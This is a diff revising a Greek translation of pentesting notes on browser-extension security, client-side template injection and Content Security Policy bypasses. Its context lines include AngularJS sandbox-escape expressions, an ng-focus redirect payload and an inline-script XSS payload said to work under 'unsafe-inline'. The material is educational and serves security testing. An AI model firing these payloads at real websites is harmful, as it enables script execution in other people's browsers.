+Φυσικά, μην **βάζετε ευαίσθητες πληροφορίες στον κώδικα**, καθώς θα είναι **δημόσιες**.
 
-Για να εκφορτώσετε τη μνήμη από τον περιηγητή, μπορείτε να **εκφορτώσετε τη μνήμη της διαδικασίας** ή να πάτε στις **ρυθμίσεις** της επέκτασης του προγράμματος περιήγησης κάνοντας κλικ στο **`Inspect pop-up`** -> Στην ενότητα **`Memory`** -> **`Take a snapshot`** και **`CTRL+F`** για να αναζητήσετε μέσα στο στιγμιότυπο ευαίσθητες πληροφορίες.
+Για να εκχυθεί η μνήμη από τον περιηγητή, μπορείτε να **εκχυθεί η μνήμη της διαδικασίας** ή να πάτε στις **ρυθμίσεις** της επέκτασης του προγράμματος περιήγησης κάνοντας κλικ στο **`Inspect pop-up`** -> Στην ενότητα **`Memory`** -> **`Take a snapshot`** και **`CTRL+F`** για να αναζητήσετε μέσα στο στιγμιότυπο ευαίσθητες πληροφορίες.
 
 Επιπλέον, οι πολύ ευαίσθητες πληροφορίες όπως μνημονικά κλειδιά ή κωδικοί πρόσβασης **δεν θα πρέπει να επιτρέπεται να αντιγράφονται στο πρόχειρο** (ή τουλάχιστον να αφαιρούνται από το πρόχειρο σε λίγα δευτερόλεπτα) γιατί τότε οι διαδικασίες που παρακολουθούν το πρόχειρο θα μπορούν να τις αποκτήσουν.
 
 ## Φόρτωση μιας Επέκτασης στον Περιηγητή
 
-1. **Κατεβάστε** την Επέκταση Προγράμματος Περιήγησης & αποσυμπιέστε την
-2. Πηγαίνετε στο **`chrome://extensions/`** και **ενεργοποιήστε** τη `Developer Mode`
+1. **Κατεβάστε** την Επέκταση του Προγράμματος Περιήγησης & αποσυμπιέστε την
+2. Πηγαίνετε στο **`chrome://extensions/`** και **ενεργοποιήστε** τη λειτουργία `Developer Mode`
 3. Κάντε κλικ στο κουμπί **`Load unpacked`**
 
-Στο **Firefox** πηγαίνετε στο **`about:debugging#/runtime/this-firefox`** και κάντε κλικ στο κουμπί **`Load Temporary Add-on`**.
+Στο **Firefox** πηγαίνετε στο **`about:debugging#/runtime/this-firefox`** και κάνετε κλικ στο κουμπί **`Load Temporary Add-on`**.
 
 ## Λήψη του πηγαίου κώδικα από το κατάστημα
 
@@ -621,9 +621,9 @@ unzip -d "$extension_id-source" "$extension_id.zip"
 - Ενεργοποιήστε τη Λειτουργία Προγραμματιστή στη σελίδα `about:extensions` για να δείτε τα IDs κάθε επέκτασης.
 - Μέσα σε κάθε φάκελο επέκτασης, το αρχείο `manifest.json` περιέχει ένα αναγνώσιμο πεδίο `name`, βοηθώντας σας να εντοπίσετε την επέκταση.
 
-### Χρησιμοποιήστε έναν Αρχειοθέτη ή Αποσυμπιεστή
+### Χρησιμοποιήστε ένα Αρχειοθετητή ή Αποσυμπιεστή
 
-Μεταβείτε στο Chrome Web Store και κατεβάστε την επέκταση. Το αρχείο θα έχει κατάληξη `.crx`. Αλλάξτε την κατάληξη του αρχείου από `.crx` σε `.zip`. Χρησιμοποιήστε οποιονδήποτε αρχειοθέτη (όπως WinRAR, 7-Zip, κ.λπ.) για να εξαγάγετε τα περιεχόμενα του αρχείου ZIP.
+Μεταβείτε στο Chrome Web Store και κατεβάστε την επέκταση. Το αρχείο θα έχει κατάληξη `.crx`. Αλλάξτε την κατάληξη του αρχείου από `.crx` σε `.zip`. Χρησιμοποιήστε οποιονδήποτε αρχειοθετητή (όπως WinRAR, 7-Zip, κ.λπ.) για να εξαγάγετε τα περιεχόμενα του αρχείου ZIP.
 
 ### Χρησιμοποιήστε τη Λειτουργία Προγραμματιστή στο Chrome
 
@@ -638,18 +638,18 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
 ```
 ## Λίστα Ελέγχου Ασφαλείας
 
-Αν και οι Επεκτάσεις Περιηγητή έχουν μια **περιορισμένη επιφάνεια επίθεσης**, μερικές από αυτές μπορεί να περιέχουν **ευπάθειες** ή **πιθανές βελτιώσεις ασφάλειας**. Οι παρακάτω είναι οι πιο κοινές:
+Ακόμα και αν οι Επεκτάσεις Περιηγητή έχουν μια **περιορισμένη επιφάνεια επίθεσης**, μερικές από αυτές μπορεί να περιέχουν **ευπάθειες** ή **πιθανές βελτιώσεις ασφάλειας**. Οι παρακάτω είναι οι πιο κοινές:
 
 - [ ] **Περιορίστε** όσο το δυνατόν περισσότερο τις ζητούμενες **`permissions`**
 - [ ] **Περιορίστε** όσο το δυνατόν περισσότερο τις **`host_permissions`**
 - [ ] Χρησιμοποιήστε μια **ισχυρή** **`content_security_policy`**
-- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο το **`externally_connectable`**, αν δεν είναι απαραίτητο και δυνατό, μην το αφήσετε προεπιλεγμένο, καθορίστε **`{}`**
+- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο το **`externally_connectable`**, αν δεν είναι απαραίτητο και είναι δυνατόν, μην το αφήνετε προεπιλεγμένο, καθορίστε **`{}`**
 - [ ] Αν αναφέρεται εδώ **URL ευάλωτο σε XSS ή σε κατάληψη**, ένας επιτιθέμενος θα μπορεί να **στέλνει μηνύματα στα background scripts απευθείας**. Πολύ ισχυρή παράκαμψη.
-- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο τους **`web_accessible_resources`**, ακόμα και κενά αν είναι δυνατόν.
+- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο τους **`web_accessible_resources`**, ακόμα και κενό αν είναι δυνατόν.
 - [ ] Αν οι **`web_accessible_resources`** δεν είναι κανένα, ελέγξτε για [**ClickJacking**](browext-clickjacking.md)
-- [ ] Αν υπάρχει οποιαδήποτε **επικοινωνία** από την **επέκταση** προς την **ιστοσελίδα**, [**ελέγξτε για XSS**](browext-xss-example.md) **ευπάθειες** που προκαλούνται στην επικοινωνία.
-- [ ] Αν χρησιμοποιούνται Post Messages, ελέγξτε για [**Post Message ευπάθειες**](../postmessage-vulnerabilities/)**.**
-- [ ] Αν το **Content Script έχει πρόσβαση σε λεπτομέρειες DOM**, ελέγξτε ότι **δεν εισάγουν XSS** αν τροποποιηθούν από τον ιστό
+- [ ] Αν οποιαδήποτε **επικοινωνία** συμβαίνει από την **επέκταση** προς την **ιστοσελίδα**, [**ελέγξτε για XSS**](browext-xss-example.md) **ευπάθειες** που προκαλούνται στην επικοινωνία.
+- [ ] Αν χρησιμοποιούνται Post Messages, ελέγξτε για [**Post Message ευπάθειες**](../postmessage-vulnerabilities/index.html)**.**
+- [ ] Αν το **Content Script έχει πρόσβαση σε λεπτομέρειες DOM**, ελέγξτε ότι **δεν εισάγουν XSS** αν **τροποποιηθούν** από τον ιστό
 - [ ] Δώστε ιδιαίτερη έμφαση αν αυτή η επικοινωνία εμπλέκεται επίσης στην **επικοινωνία Content Script -> Background script**
 - [ ] Αν το background script επικοινωνεί μέσω **native messaging**, ελέγξτε ότι η επικοινωνία είναι ασφαλής και καθαρισμένη
 - [ ] **Ευαίσθητες πληροφορίες δεν θα πρέπει να αποθηκεύονται** μέσα στον κώδικα της Επέκτασης Περιηγητή
@@ -666,11 +666,11 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
 
 - Τραβά οποιαδήποτε επέκταση Chrome από έναν παρεχόμενο σύνδεσμο του Chrome webstore.
 - [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: απλά εμφανίζει μια JSON-μορφοποιημένη έκδοση του manifest της επέκτασης.
-- **Ανάλυση Δακτυλικών Αποτυπωμάτων**: Ανίχνευση [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) και αυτόματη δημιουργία JavaScript δακτυλικών αποτυπωμάτων για επεκτάσεις Chrome.
+- **Ανάλυση Δακτυλικών Αποτυπωμάτων**: Ανίχνευση των [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) και αυτόματη δημιουργία JavaScript δακτυλικών αποτυπωμάτων για επεκτάσεις Chrome.
 - **Πιθανή Ανάλυση Clickjacking**: Ανίχνευση HTML σελίδων επεκτάσεων με τη ρύθμιση [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Αυτές είναι πιθανώς ευάλωτες σε clickjacking ανάλογα με τον σκοπό των σελίδων.
-- **Viewer προειδοποιήσεων άδειας**: που δείχνει μια λίστα με όλες τις προειδοποιήσεις άδειας του Chrome που θα εμφανιστούν όταν ένας χρήστης προσπαθήσει να εγκαταστήσει την επέκταση.
-- **Επικίνδυνες Λειτουργίες**: δείχνει την τοποθεσία επικίνδυνων λειτουργιών που θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο (π.χ. λειτουργίες όπως innerHTML, chrome.tabs.executeScript).
-- **Σημεία Εισόδου**: δείχνει πού η επέκταση δέχεται είσοδο από χρήστη/εξωτερική είσοδο. Αυτό είναι χρήσιμο για την κατανόηση της επιφάνειας της επέκτασης και την αναζήτηση πιθανών σημείων για αποστολή κακόβουλα κατασκευασμένων δεδομένων στην επέκταση.
+- **Viewer προειδοποιήσεων άδειας**: που δείχνει μια λίστα με όλες τις προειδοποιήσεις άδειας Chrome που θα εμφανιστούν όταν ένας χρήστης προσπαθήσει να εγκαταστήσει την επέκταση.
+- **Επικίνδυνες Λειτουργίες**: δείχνει την τοποθεσία επικίνδυνων λειτουργιών που θα μπορούσαν ενδεχομένως να εκμεταλλευτούν από έναν επιτιθέμενο (π.χ. λειτουργίες όπως innerHTML, chrome.tabs.executeScript).
+- **Σημεία Εισόδου**: δείχνει πού η επέκταση δέχεται είσοδο από χρήστη/εξωτερική είσοδο. Αυτό είναι χρήσιμο για την κατανόηση της επιφάνειας της επέκτασης και την αναζήτηση πιθανών σημείων για αποστολή κακόβουλα διαμορφωμένων δεδομένων στην επέκταση.
 - Και οι σαρωτές Επικίνδυνων Λειτουργιών και Σημείων Εισόδου έχουν τα εξής για τις παραγόμενες ειδοποιήσεις τους:
 - Σχετικό απόσπασμα κώδικα και γραμμή που προκάλεσε την ειδοποίηση.
 - Περιγραφή του ζητήματος.
@@ -679,17 +679,17 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
 - Η πλήρης URI της ειδοποιημένης επέκτασης Chrome.
 - Ο τύπος του αρχείου, όπως ένα script Background Page, Content Script, Browser Action, κ.λπ.
 - Αν η ευάλωτη γραμμή είναι σε ένα αρχείο JavaScript, οι διαδρομές όλων των σελίδων όπου περιλαμβάνεται καθώς και ο τύπος αυτών των σελίδων, και η κατάσταση [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
-- **Αναλυτής Πολιτικής Ασφαλείας Περιεχομένου (CSP) και ελεγκτής παράκαμψης**: Αυτό θα επισημάνει αδυναμίες στην CSP της επέκτασής σας και θα φωτίσει τυχόν πιθανές μεθόδους για να παρακαμφθεί η CSP σας λόγω λευκωμένων CDNs, κ.λπ.
+- **Αναλυτής Πολιτικής Ασφαλείας Περιεχομένου (CSP) και ελεγκτής παράκαμψης**: Αυτό θα επισημάνει αδυναμίες στην CSP της επέκτασής σας και θα φωτίσει επίσης τυχόν πιθανούς τρόπους για να παρακάμψετε την CSP σας λόγω λευκωμένων CDNs, κ.λπ.
 - **Γνωστές Ευάλωτες Βιβλιοθήκες**: Αυτό χρησιμοποιεί [Retire.js](https://retirejs.github.io/retire.js/) για να ελέγξει για οποιαδήποτε χρήση γνωστών ευάλωτων βιβλιοθηκών JavaScript.
 - Κατεβάστε την επέκταση και μορφοποιημένες εκδόσεις.
 - Κατεβάστε την αρχική επέκταση.
-- Κατεβάστε μια όμορφα μορφοποιημένη έκδοση της επέκτασης (αυτόματη μορφοποίηση HTML και JavaScript).
-- Αυτόματη αποθήκευση αποτελεσμάτων σάρωσης, η εκτέλεση σάρωσης επέκτασης θα διαρκέσει αρκετό χρόνο την πρώτη φορά που θα την εκτελέσετε. Ωστόσο, τη δεύτερη φορά, εφόσον η επέκταση δεν έχει ενημερωθεί, θα είναι σχεδόν άμεση λόγω της αποθήκευσης των αποτελεσμάτων.
+- Κατεβάστε μια όμορφα διαμορφωμένη έκδοση της επέκτασης (αυτόματη μορφοποίηση HTML και JavaScript).
+- Αυτόματη αποθήκευση των αποτελεσμάτων σάρωσης, η εκτέλεση μιας σάρωσης επέκτασης θα διαρκέσει αρκετό χρόνο την πρώτη φορά που θα την εκτελέσετε. Ωστόσο, τη δεύτερη φορά, εφόσον η επέκταση δεν έχει ενημερωθεί, θα είναι σχεδόν άμεση λόγω της αποθήκευσης των αποτελεσμάτων.
 - Συνδέσιμες αναφορές URL, εύκολα συνδέστε κάποιον άλλο σε μια αναφορά επέκτασης που δημιουργήθηκε από το tarnish.
 
 ### [Neto](https://github.com/elevenpaths/neto)
 
-Το έργο Neto είναι ένα πακέτο Python 3 που έχει σχεδιαστεί για να αναλύει και να αποκαλύπτει κρυφές δυνατότητες των πρόσθετων και επεκτάσεων περιηγητών για γνωστούς περιηγητές όπως ο Firefox και ο Chrome. Αυτοματοποιεί τη διαδικασία αποσυμπίεσης των πακεταρισμένων αρχείων για να εξάγει αυτές τις δυνατότητες από σχετικούς πόρους σε μια επέκταση όπως το `manifest.json`, φακέλους τοπικοποίησης ή πηγές JavaScript και HTML.
+Το Project Neto είναι ένα πακέτο Python 3 που έχει σχεδιαστεί για να αναλύει και να αποκαλύπτει κρυφές δυνατότητες των πρόσθετων και επεκτάσεων περιηγητών για γνωστούς περιηγητές όπως ο Firefox και ο Chrome. Αυτοματοποιεί τη διαδικασία αποσυμπίεσης των πακεταρισμένων αρχείων για να εξάγει αυτές τις δυνατότητες από σχετικούς πόρους σε μια επέκταση όπως το `manifest.json`, φακέλους τοπιογραφίας ή πηγές JavaScript και HTML.
 
 ## Αναφορές
 

src/pentesting-web/client-side-template-injection-csti.md

@@ -4,15 +4,15 @@
 
 ## Summary
 
-Είναι όπως ένα [**Server Side Template Injection**](ssti-server-side-template-injection/) αλλά στον **client**. Το **SSTI** μπορεί να σας επιτρέψει να **εκτελέσετε κώδικα** στον απομακρυσμένο διακομιστή, το **CSTI** θα μπορούσε να σας επιτρέψει να **εκτελέσετε αυθαίρετο JavaScript** κώδικα στον περιηγητή του θύματος.
+Είναι όπως ένα [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) αλλά στον **πελάτη**. Το **SSTI** μπορεί να σας επιτρέψει να **εκτελέσετε κώδικα** στον απομακρυσμένο διακομιστή, το **CSTI** θα μπορούσε να σας επιτρέψει να **εκτελέσετε αυθαίρετο JavaScript** κώδικα στον περιηγητή του θύματος.
 
 **Η δοκιμή** για αυτήν την ευπάθεια είναι πολύ **παρόμοια** με την περίπτωση του **SSTI**, ο διερμηνέας αναμένει **ένα πρότυπο** και θα το εκτελέσει. Για παράδειγμα, με ένα payload όπως `{{ 7-7 }}`, αν η εφαρμογή είναι **ευάλωτη** θα δείτε ένα `0`, και αν όχι, θα δείτε το αρχικό: `{{ 7-7 }}`
 
 ## AngularJS
 
-Το AngularJS είναι ένα ευρέως χρησιμοποιούμενο JavaScript framework που αλληλεπιδρά με το HTML μέσω χαρακτηριστικών που είναι γνωστά ως directives, ένα αξιοσημείωτο είναι το **`ng-app`**. Αυτή η οδηγία επιτρέπει στο AngularJS να επεξεργάζεται το περιεχόμενο HTML, επιτρέποντας την εκτέλεση JavaScript εκφράσεων μέσα σε διπλές αγκύλες.
+Το AngularJS είναι ένα ευρέως χρησιμοποιούμενο πλαίσιο JavaScript που αλληλεπιδρά με το HTML μέσω χαρακτηριστικών που είναι γνωστά ως οδηγίες, μία από τις οποίες είναι το **`ng-app`**. Αυτή η οδηγία επιτρέπει στο AngularJS να επεξεργάζεται το περιεχόμενο HTML, επιτρέποντας την εκτέλεση JavaScript εκφράσεων μέσα σε διπλές αγκύλες.
 
-Σε σενάρια όπου η είσοδος του χρήστη εισάγεται δυναμικά στο σώμα HTML που έχει επισημανθεί με `ng-app`, είναι δυνατόν να εκτελεστεί αυθαίρετος JavaScript κώδικας. Αυτό μπορεί να επιτευχθεί εκμεταλλευόμενοι τη σύνταξη του AngularJS μέσα στην είσοδο. Παρακάτω παρατίθενται παραδείγματα που δείχνουν πώς μπορεί να εκτελεστεί JavaScript κώδικας:
+Σε σενάρια όπου η είσοδος του χρήστη εισάγεται δυναμικά στο σώμα HTML που έχει επισημανθεί με `ng-app`, είναι δυνατόν να εκτελούνται αυθαίρετοι JavaScript κώδικες. Αυτό μπορεί να επιτευχθεί εκμεταλλευόμενοι τη σύνταξη του AngularJS μέσα στην είσοδο. Παρακάτω παρατίθενται παραδείγματα που δείχνουν πώς μπορεί να εκτελείται JavaScript κώδικας:
 ```javascript
 {{$on.constructor('alert(1)')()}}
 {{constructor.constructor('alert(1)')()}}
@@ -21,9 +21,9 @@
 <!-- Google Research - AngularJS -->
 <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
 ```
-Μπορείτε να βρείτε ένα πολύ **βασικό διαδικτυακό παράδειγμα** της ευπάθειας σε **AngularJS** στο [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) και στην [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
+Μπορείτε να βρείτε ένα πολύ **βασικό διαδικτυακό παράδειγμα** της ευπάθειας στο **AngularJS** στο [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) και στο [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
 
-> [!CAUTION] > [**Η Angular 1.6 αφαίρεσε το sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) οπότε από αυτή την έκδοση, ένα payload όπως `{{constructor.constructor('alert(1)')()}}` ή `<input ng-focus=$event.view.alert('XSS')>` θα πρέπει να λειτουργεί.
+> [!CAUTION] > [**Angular 1.6 αφαίρεσε το sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) οπότε από αυτή την έκδοση, ένα payload όπως `{{constructor.constructor('alert(1)')()}}` ή `<input ng-focus=$event.view.alert('XSS')>` θα πρέπει να λειτουργεί.
 
 ## VueJS
 

src/pentesting-web/content-security-policy-csp-bypass/README.md

@@ -1,18 +1,18 @@
-# Πολιτική Ασφαλείας Περιεχομένου (CSP) Bypass
+# Content Security Policy (CSP) Bypass
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Τι είναι το CSP
 
-Η Πολιτική Ασφαλείας Περιεχομένου (CSP) αναγνωρίζεται ως τεχνολογία του προγράμματος περιήγησης, κυρίως με στόχο την **προστασία από επιθέσεις όπως το cross-site scripting (XSS)**. Λειτουργεί καθορίζοντας και περιγράφοντας διαδρομές και πηγές από τις οποίες οι πόροι μπορούν να φορτωθούν με ασφάλεια από το πρόγραμμα περιήγησης. Αυτοί οι πόροι περιλαμβάνουν μια σειρά στοιχείων όπως εικόνες, πλαίσια και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέπει τη φόρτωση και εκτέλεση πόρων από τον ίδιο τομέα (self), συμπεριλαμβανομένων των inline πόρων και της εκτέλεσης κώδικα συμβολοσειράς μέσω συναρτήσεων όπως `eval`, `setTimeout` ή `setInterval`.
+Η Πολιτική Ασφαλείας Περιεχομένου (CSP) αναγνωρίζεται ως τεχνολογία του προγράμματος περιήγησης, κυρίως με στόχο την **προστασία από επιθέσεις όπως η διασταυρούμενη σcripting (XSS)**. Λειτουργεί καθορίζοντας και περιγράφοντας διαδρομές και πηγές από τις οποίες οι πόροι μπορούν να φορτωθούν με ασφάλεια από το πρόγραμμα περιήγησης. Αυτοί οι πόροι περιλαμβάνουν μια σειρά στοιχείων όπως εικόνες, πλαίσια και JavaScript. Για παράδειγμα, μια πολιτική μπορεί να επιτρέπει τη φόρτωση και εκτέλεση πόρων από τον ίδιο τομέα (self), συμπεριλαμβανομένων των inline πόρων και της εκτέλεσης κώδικα συμβολοσειρών μέσω συναρτήσεων όπως `eval`, `setTimeout` ή `setInterval`.
 
 Η εφαρμογή του CSP πραγματοποιείται μέσω **κεφαλίδων απόκρισης** ή με την ενσωμάτωση **meta στοιχείων στη σελίδα HTML**. Ακολουθώντας αυτή την πολιτική, τα προγράμματα περιήγησης επιβάλλουν ενεργά αυτούς τους όρους και μπλοκάρουν αμέσως οποιεσδήποτε ανιχνευμένες παραβάσεις.
 
-- Εφαρμόζεται μέσω κεφαλίδας απόκρισης:
+- Implemented via response header:
 ```
 Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
 ```
-- Υλοποιήθηκε μέσω του meta tag:
+- Υλοποιήθηκε μέσω του μετα-ετικέτας:
 ```xml
 <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
 ```
@@ -40,7 +40,7 @@ object-src 'none';
 ### Οδηγίες
 
 - **script-src**: Επιτρέπει συγκεκριμένες πηγές για JavaScript, συμπεριλαμβανομένων των URLs, inline scripts και scripts που ενεργοποιούνται από event handlers ή XSLT stylesheets.
-- **default-src**: Ορίζει μια προεπιλεγμένη πολιτική για την ανάκτηση πόρων όταν απουσιάζουν συγκεκριμένες οδηγίες ανάκτησης.
+- **default-src**: Ορίζει μια προεπιλεγμένη πολιτική για την ανάκτηση πόρων όταν απουσιάζουν συγκεκριμένες οδηγίες fetch.
 - **child-src**: Προσδιορίζει τις επιτρεπόμενες πηγές για web workers και περιεχόμενο ενσωματωμένων πλαισίων.
 - **connect-src**: Περιορίζει τα URLs που μπορούν να φορτωθούν χρησιμοποιώντας διεπαφές όπως fetch, WebSocket, XMLHttpRequest.
 - **frame-src**: Περιορίζει τα URLs για πλαίσια.
@@ -48,22 +48,22 @@ object-src 'none';
 - **img-src**: Ορίζει τις επιτρεπόμενες πηγές για εικόνες.
 - **font-src**: Προσδιορίζει έγκυρες πηγές για γραμματοσειρές που φορτώνονται χρησιμοποιώντας `@font-face`.
 - **manifest-src**: Ορίζει τις επιτρεπόμενες πηγές αρχείων manifest εφαρμογής.
-- **media-src**: Ορίζει τις επιτρεπόμενες πηγές για τη φόρτωση αντικειμένων πολυμέσων.
+- **media-src**: Ορίζει τις επιτρεπόμενες πηγές για τη φόρτωση μέσων.
 - **object-src**: Ορίζει τις επιτρεπόμενες πηγές για στοιχεία `<object>`, `<embed>`, και `<applet>`.
 - **base-uri**: Προσδιορίζει τα επιτρεπόμενα URLs για φόρτωση χρησιμοποιώντας στοιχεία `<base>`.
 - **form-action**: Λίστα έγκυρων endpoints για υποβολές φορμών.
-- **plugin-types**: Περιορίζει τους mime τύπους που μπορεί να καλέσει μια σελίδα.
+- **plugin-types**: Περιορίζει τους τύπους mime που μπορεί να καλέσει μια σελίδα.
 - **upgrade-insecure-requests**: Δίνει οδηγίες στους περιηγητές να ξαναγράψουν τα HTTP URLs σε HTTPS.
 - **sandbox**: Εφαρμόζει περιορισμούς παρόμοιους με την ιδιότητα sandbox ενός `<iframe>`.
 - **report-to**: Προσδιορίζει μια ομάδα στην οποία θα σταλεί μια αναφορά αν παραβιαστεί η πολιτική.
-- **worker-src**: Προσδιορίζει έγκυρες πηγές για scripts Worker, SharedWorker ή ServiceWorker.
-- **prefetch-src**: Προσδιορίζει έγκυρες πηγές για πόρους που θα ανακτηθούν ή θα προφορτωθούν.
+- **worker-src**: Προσδιορίζει έγκυρες πηγές για Worker, SharedWorker ή ServiceWorker scripts.
+- **prefetch-src**: Προσδιορίζει έγκυρες πηγές για πόρους που θα ανακτηθούν ή θα προανακτηθούν.
 - **navigate-to**: Περιορίζει τα URLs στα οποία μπορεί να πλοηγηθεί ένα έγγραφο με οποιονδήποτε τρόπο (a, form, window.location, window.open, κ.λπ.)
 
 ### Πηγές
 
 - `*`: Επιτρέπει όλα τα URLs εκτός από αυτά με `data:`, `blob:`, `filesystem:` schemes.
-- `'self'`: Επιτρέπει τη φόρτωση από την ίδια τοποθεσία.
+- `'self'`: Επιτρέπει τη φόρτωση από την ίδια τομέα.
 - `'data'`: Επιτρέπει την φόρτωση πόρων μέσω του data scheme (π.χ., εικόνες κωδικοποιημένες σε Base64).
 - `'none'`: Αποκλείει τη φόρτωση από οποιαδήποτε πηγή.
 - `'unsafe-eval'`: Επιτρέπει τη χρήση του `eval()` και παρόμοιων μεθόδων, δεν συνιστάται για λόγους ασφαλείας.
@@ -88,15 +88,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 ```
 </details>
 
-- `'sha256-<hash>'`: Λευκή λίστα σεναρίων με συγκεκριμένο sha256 hash.
-- `'strict-dynamic'`: Επιτρέπει τη φόρτωση σεναρίων από οποιαδήποτε πηγή αν έχει λευκή λίστα με nonce ή hash.
+- `'sha256-<hash>'`: Λευκή λίστα scripts με συγκεκριμένο sha256 hash.
+- `'strict-dynamic'`: Επιτρέπει τη φόρτωση scripts από οποιαδήποτε πηγή αν έχει λευκαστεί με nonce ή hash.
 - `'host'`: Προσδιορίζει μια συγκεκριμένη πηγή, όπως το `example.com`.
-- `https:`: Περιορίζει τις διευθύνσεις URL σε αυτές που χρησιμοποιούν HTTPS.
+- `https:`: Περιορίζει τα URLs σε αυτά που χρησιμοποιούν HTTPS.
 - `blob:`: Επιτρέπει τη φόρτωση πόρων από Blob URLs (π.χ., Blob URLs που δημιουργούνται μέσω JavaScript).
-- `filesystem:`: Επιτρέπει τη φόρτωση πόρων από το σύστημα αρχείων.
+- `filesystem:`: Επιτρέπει τη φόρτωση πόρων από το filesystem.
 - `'report-sample'`: Συμπεριλαμβάνει ένα δείγμα του παραβιασμένου κώδικα στην αναφορά παραβίασης (χρήσιμο για αποσφαλμάτωση).
 - `'strict-origin'`: Παρόμοιο με το 'self' αλλά διασφαλίζει ότι το επίπεδο ασφαλείας του πρωτοκόλλου των πηγών ταιριάζει με το έγγραφο (μόνο ασφαλείς πηγές μπορούν να φορτώσουν πόρους από ασφαλείς πηγές).
-- `'strict-origin-when-cross-origin'`: Στέλνει πλήρεις διευθύνσεις URL κατά την εκτέλεση αιτημάτων ίδιας προέλευσης αλλά στέλνει μόνο την προέλευση όταν το αίτημα είναι διασυνοριακό.
+- `'strict-origin-when-cross-origin'`: Στέλνει πλήρη URLs κατά την εκτέλεση αιτημάτων ίδιας προέλευσης αλλά στέλνει μόνο την προέλευση όταν το αίτημα είναι διασυνοριακό.
 - `'unsafe-allow-redirects'`: Επιτρέπει τη φόρτωση πόρων που θα ανακατευθύνουν αμέσως σε άλλο πόρο. Δεν συνιστάται καθώς αποδυναμώνει την ασφάλεια.
 
 ## Unsafe CSP Rules
@@ -105,7 +105,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 ```yaml
 Content-Security-Policy: script-src https://google.com 'unsafe-inline';
 ```
-Λειτουργικό payload: `"/><script>alert(1);</script>`
+Working payload: `"/><script>alert(1);</script>`
 
 #### self + 'unsafe-inline' μέσω Iframes
 
@@ -126,7 +126,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
 ```
 ### strict-dynamic
 
-Αν μπορείτε με κάποιον τρόπο να κάνετε ένα **επιτρεπόμενο JS code να δημιουργήσει μια νέα ετικέτα script** στο DOM με τον κώδικα JS σας, επειδή μια επιτρεπόμενη script την δημιουργεί, η **νέα ετικέτα script θα επιτρέπεται να εκτελείται**.
+Αν μπορείτε με κάποιο τρόπο να κάνετε έναν **επιτρεπόμενο κώδικα JS να δημιουργήσει μια νέα ετικέτα script** στο DOM με τον κώδικά σας JS, επειδή μια επιτρεπόμενη script την δημιουργεί, η **νέα ετικέτα script θα επιτρέπεται να εκτελείται**.
 
 ### Wildcard (*)
 ```yaml
@@ -161,9 +161,9 @@ Content-Security-Policy: script-src 'self';  object-src 'none' ;
 ```
 Ωστόσο, είναι πολύ πιθανό ότι ο διακομιστής **επικυρώνει το ανεβασμένο αρχείο** και θα επιτρέψει μόνο να **ανεβάσετε καθορισμένο τύπο αρχείων**.
 
-Επιπλέον, ακόμη και αν μπορούσατε να ανεβάσετε έναν **κωδικό JS μέσα** σε ένα αρχείο χρησιμοποιώντας μια επέκταση που γίνεται αποδεκτή από τον διακομιστή (όπως: _script.png_), αυτό δεν θα είναι αρκετό γιατί μερικοί διακομιστές όπως ο διακομιστής apache **επιλέγουν τον MIME τύπο του αρχείου με βάση την επέκταση** και οι περιηγητές όπως ο Chrome θα **απορρίψουν την εκτέλεση του κώδικα Javascript** μέσα σε κάτι που θα έπρεπε να είναι εικόνα. "Ελπίζουμε", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι **ο Apache δεν γνωρίζει** την _**.wave**_ επέκταση, επομένως δεν την σερβίρει με έναν **MIME τύπο όπως audio/\***.
+Επιπλέον, ακόμη και αν μπορούσατε να ανεβάσετε έναν **κωδικό JS μέσα** σε ένα αρχείο χρησιμοποιώντας μια επέκταση που γίνεται αποδεκτή από τον διακομιστή (όπως: _script.png_), αυτό δεν θα είναι αρκετό γιατί μερικοί διακομιστές όπως ο διακομιστής apache **επιλέγουν τον τύπο MIME του αρχείου με βάση την επέκταση** και οι περιηγητές όπως ο Chrome θα **απορρίψουν την εκτέλεση του κώδικα Javascript** μέσα σε κάτι που θα έπρεπε να είναι εικόνα. "Ελπίζουμε", υπάρχουν λάθη. Για παράδειγμα, από ένα CTF έμαθα ότι **ο Apache δεν γνωρίζει** την _**.wave**_ επέκταση, επομένως δεν την σερβίρει με έναν **τύπο MIME όπως audio/\***.
 
